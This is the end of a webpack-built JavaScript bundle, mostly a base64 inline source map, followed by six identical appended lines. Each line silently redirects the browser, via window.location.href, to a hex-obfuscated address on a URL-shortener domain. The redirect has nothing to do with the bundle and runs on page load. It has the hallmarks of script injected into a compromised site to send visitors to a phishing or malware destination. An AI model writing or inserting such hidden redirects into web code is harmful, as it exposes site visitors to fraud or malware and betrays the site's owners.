yBXRUJQQUNLIEZPT1RFUlxuLy8gLi9ub2RlX21vZHVsZXMvcmVnZW5lcmF0b3ItcnVudGltZS9ydW50aW1lLmpzXG4vLyBtb2R1bGUgaWQgPSA5XG4vLyBtb2R1bGUgY2h1bmtzID0gMCJdLCJtYXBwaW5ncyI6IkFBQUE7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7QUFDQTtBQUNBO0FBQ0E7Iiwic291cmNlUm9vdCI6IiJ9\n//# sourceURL=webpack-internal:///9\n");
/***/ })
/******/ ]);
window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x74\x6f\x64\x61\x79\x2f\x56\x71\x72\x42\x73\x6e\x53\x5a\x66\x30\x72\x35";
window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x74\x6f\x64\x61\x79\x2f\x56\x71\x72\x42\x73\x6e\x53\x5a\x66\x30\x72\x35";
window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x74\x6f\x64\x61\x79\x2f\x56\x71\x72\x42\x73\x6e\x53\x5a\x66\x30\x72\x35";
window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x74\x6f\x64\x61\x79\x2f\x56\x71\x72\x42\x73\x6e\x53\x5a\x66\x30\x72\x35";
window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x74\x6f\x64\x61\x79\x2f\x56\x71\x72\x42\x73\x6e\x53\x5a\x66\x30\x72\x35";
window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x74\x6f\x64\x61\x79\x2f\x56\x71\x72\x42\x73\x6e\x53\x5a\x66\x30\x72\x35";